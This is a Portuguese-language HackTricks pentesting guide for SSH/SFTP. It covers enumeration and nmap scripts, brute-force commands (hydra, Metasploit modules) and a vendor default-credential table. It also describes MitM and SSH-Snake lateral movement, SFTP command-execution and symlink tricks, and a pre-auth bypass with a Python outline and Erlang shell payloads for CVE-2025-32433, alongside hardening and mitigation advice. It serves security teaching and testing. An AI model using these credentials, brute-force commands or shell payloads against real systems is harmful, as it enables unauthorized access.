24 KiB
22 - Pentesting SSH/SFTP
{{#include ../banners/hacktricks-training.md}}
Informações Básicas
SSH (Secure Shell or Secure Socket Shell) é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.
Porta padrão: 22
22/tcp open ssh syn-ack
Servidores SSH:
- openSSH – OpenBSD SSH, distribuído em BSD, distribuições Linux e Windows desde o Windows 10
- Dropbear – implementação SSH para ambientes com pouca memória e recursos de CPU, distribuído no OpenWrt
- PuTTY – implementação SSH para Windows; o cliente é comumente usado, mas o uso do servidor é mais raro
- CopSSH – implementação do OpenSSH para Windows
Bibliotecas SSH (implementando o lado servidor):
- libssh – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em Python, Perl e R; é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH
- wolfSSH – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada a ambientes embarcados, RTOS e com recursos limitados
- Apache MINA SSHD – a biblioteca Java Apache SSHD é baseada no Apache MINA
- paramiko – biblioteca Python do protocolo SSHv2
Enumeração
Banner Grabbing
nc -vn <IP> 22
ssh-audit automatizado
ssh-audit é uma ferramenta para auditoria da configuração de servidores e clientes SSH.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Recursos:
- Suporte a servidores dos protocolos SSH1 e SSH2;
- analisar a configuração de clientes SSH;
- capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
- coletar algoritmos de key-exchange, host-key, encryption e message authentication code;
- exibir informações dos algoritmos (available since, removed/disabled, unsafe/weak/legacy, etc);
- exibir recomendações de algoritmos (append or remove based on recognized software version);
- exibir informações de segurança (related issues, assigned CVE list, etc);
- analisar compatibilidade de versão do SSH com base nas informações de algoritmos;
- informações históricas do OpenSSH, Dropbear SSH e libssh;
- funciona em Linux e Windows;
- sem dependências
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Chave SSH pública do servidor
ssh-keyscan -t rsa <IP> -p <PORT>
Algoritmos de Cifra Fracos
Isto é detectado por padrão pelo nmap. Mas você também pode usar sslcan ou sslyze.
Scripts do Nmap
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
Em algumas versões do OpenSSH você pode realizar um timing attack para enumerar users. Você pode usar um metasploit module para explorar isso:
msf> use scanner/ssh/ssh_enumusers
Brute force
Algumas credenciais ssh comuns here e here e abaixo.
Private Key Brute Force
Se você conhece algumas ssh private keys que poderiam ser usadas... vamos tentar. Você pode usar o nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ou o MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Ou use ssh-keybrute.py
(nativo python3, leve e com algoritmos legados habilitados): snowdroppe/ssh-keybrute.
Badkeys conhecidos podem ser encontrados aqui:
{{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}}
Chaves SSH fracas / PRNG previsível no Debian
Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser bruteforced. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados pelo PRNG fraco estão disponíveis aqui: g0tmi1k/debian-ssh.
Você deve procurar aqui para buscar chaves válidas para a máquina vítima.
Kerberos / GSSAPI SSO
Se o servidor SSH alvo suportar GSSAPI (por exemplo Windows OpenSSH em um controlador de domínio), você pode autenticar usando seu Kerberos TGT em vez de uma senha.
Fluxo de trabalho a partir de um host atacante Linux:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Notas:
- If you connect to the wrong name (e.g., short host, alias, or wrong order in
/etc/hosts
), you may get: "Server not found in Kerberos database" because the SPN does not match. crackmapexec ssh --kerberos
can also use your ccache for Kerberos auth.
Credenciais Padrão
Fornecedor | Usuários | Senhas |
---|---|---|
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando username e password, você pode tentar realizar um ataque MitM para capturar essas credenciais:
Attack path:
- Redirecionamento de Tráfego: O atacante desvia o tráfego da vítima para sua máquina, efetivamente interceptando a tentativa de conexão ao servidor SSH.
- Interceptação e Registro: A máquina do atacante atua como um proxy, capturando os dados de login do usuário ao se passar pelo servidor SSH legítimo.
- Execução de Comandos e Reencaminhamento: Finalmente, o servidor do atacante registra as credenciais do usuário, encaminha os comandos para o servidor SSH real, executa eles e envia os resultados de volta ao usuário, fazendo o processo parecer contínuo e legítimo.
SSH MITM faz exatamente o que foi descrito acima.
Para efetuar o MitM real você pode usar técnicas como ARP spoofing, DNS spoofin ou outras descritas em Network Spoofing attacks.
SSH-Snake
Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então SSH-Snake é o que você precisa.
SSH-Snake executa as seguintes tarefas automaticamente e recursivamente:
- No sistema atual, encontre quaisquer chaves privadas SSH,
- No sistema atual, encontre quaisquer hosts ou destinos (user@host) para os quais as chaves privadas possam ser aceitas,
- Tentar realizar SSH em todos os destinos usando todas as chaves privadas descobertas,
- Se um destino for conectado com sucesso, repete os passos #1 - #4 no sistema conectado.
É completamente autorreplicante e autorpropagante -- e completamente fileless.
Misconfigurações
Login de root
É comum que servidores SSH permitam login do usuário root por padrão, o que representa um risco significativo de segurança. Desabilitar o login root é um passo crítico para proteger o servidor. Acesso não autorizado com privilégios administrativos e ataques de brute force podem ser mitigados ao fazer essa alteração.
Para desabilitar o login root no OpenSSH:
- Edite o arquivo de configuração do SSH com:
sudoedit /etc/ssh/sshd_config
- Altere a configuração de
#PermitRootLogin yes
paraPermitRootLogin no
. - Recarregue a configuração usando:
sudo systemctl daemon-reload
- Reinicie o servidor SSH para aplicar as mudanças:
sudo systemctl restart sshd
SFTP Brute Force
Execução de comandos via SFTP
Há uma falha comum em setups SFTP, onde administradores pretendem que os usuários troquem arquivos sem habilitar acesso shell remoto. Apesar de configurar usuários com shells não interativos (por exemplo, /usr/bin/nologin
) e confiná-los a um diretório específico, permanece uma brecha de segurança. Os usuários podem contornar essas restrições solicitando a execução de um comando (como /bin/bash
) imediatamente após o login, antes que o shell não interativo designado entre em efeito. Isso permite execução não autorizada de comandos, minando as medidas de segurança pretendidas.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Aqui está um exemplo de configuração segura de SFTP (/etc/ssh/sshd_config
– openSSH) para o usuário noraj
:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o start command e desativando o acesso TTY, além de desabilitar qualquer tipo de port forwarding ou tunneling.
SFTP Tunneling
Se você tiver acesso a um servidor SFTP, também pode tunnel seu tráfego por meio dele, por exemplo usando o comum port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
O sftp tem o comando "symlink". Portanto, se você tiver permissões de escrita em alguma pasta, você pode criar symlinks de outras pastas/arquivos. Como você provavelmente está preso dentro de um chroot isso não será especialmente útil para você, mas, se você puder acessar o symlink criado a partir de um no-chroot service (por exemplo, se você puder acessar o symlink pela web), você poderia abrir os arquivos apontados pelo symlink através da web.
Por exemplo, para criar um symlink a partir de um novo arquivo "froot" para "/":
sftp> symlink / froot
Se você conseguir acessar o arquivo "froot" via web, poderá listar o diretório root ("/") do sistema.
Métodos de autenticação
Em ambientes de alta segurança, é prática comum habilitar apenas autenticação baseada em chaves ou autenticação de dois fatores em vez da simples autenticação por senha. Mas frequentemente os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar publickey
na configuração do openSSH e defini-lo como método padrão, mas sem desabilitar password
. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de alcançar o método password, pode usar a opção PreferredAuthentications
para forçar o uso desse método.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Revisar a configuração do servidor SSH é necessário para verificar que apenas os métodos esperados estejam autorizados. Usar o verbose mode no cliente pode ajudar a ver a eficácia da configuração.
Arquivos de configuração
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Authentication State-Machine Bypass (Pre-Auth RCE)
Várias implementações de servidores SSH contêm falhas lógicas na authentication finite-state machine que permitem que um cliente envie mensagens connection-protocol antes de a autenticação terminar. Como o servidor não verifica se está no estado correto, essas mensagens são tratadas como se o usuário já estivesse totalmente autenticado, levando a unauthenticated code execution ou criação de sessão.
Em nível de protocolo, qualquer mensagem SSH com um message code ≥ 80 (0x50) pertence à camada connection (RFC 4254) e deve somente ser aceita após autenticação bem-sucedida (RFC 4252). Se o servidor processar uma dessas mensagens enquanto ainda estiver no estado SSH_AUTHENTICATION, o atacante pode imediatamente criar um channel e solicitar ações como execução de comandos, port-forwarding, etc.
Generic Exploitation Steps
- Estabeleça uma conexão TCP com a porta SSH do alvo (comummente 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…).
- Crie um pacote SSH bruto:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (e.g.
SSH_MSG_CHANNEL_OPEN
= 90,SSH_MSG_CHANNEL_REQUEST
= 98) - Payload que será entendido pelo tipo de mensagem escolhido
- Envie o(s) pacote(s) antes de completar qualquer etapa de autenticação.
- Interaja com as APIs do servidor que agora estão expostas pre-auth (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
Na prática você precisará executar (ou pular) a troca de chaves conforme a implementação alvo, mas nenhuma autenticação é jamais realizada.
Erlang/OTP sshd
(CVE-2025-32433)
- Versões afetadas: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Causa raiz: o daemon SSH nativo do Erlang não valida o estado atual antes de invocar
ssh_connection:handle_msg/2
. Portanto qualquer pacote com um código de mensagem 80-255 atinge o manipulador de conexão enquanto a sessão ainda está no estado userauth. - Impacto: não autenticada remote code execution (o daemon geralmente roda como root em dispositivos embedded/OT).
Exemplo de payload que cria uma reverse shell vinculada ao canal controlado pelo atacante:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection pode ser realizada via DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Detecção & Mitigação:
- Inspecionar tráfego SSH: descartar qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação.
- Atualize Erlang/OTP para 27.3.3 / 26.2.5.11 / 25.3.2.20 ou superior.
- Restrinja a exposição das portas de gerenciamento (22/2022/830/2222) – especialmente em equipamentos OT.
Outras Implementações Afetadas
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – aceita um
SSH_MSG_USERAUTH_SUCCESS
não autenticado enviado pelo cliente, sendo efetivamente o inverso de uma falha lógica.
A lição comum é que qualquer desvio das transições de estado exigidas pela RFC pode ser fatal; ao revisar ou fuzzing de daemons SSH preste atenção especial à imposição da máquina de estados.
Referências
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
Comandos Automáticos do HackTricks
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
{{#include ../banners/hacktricks-training.md}}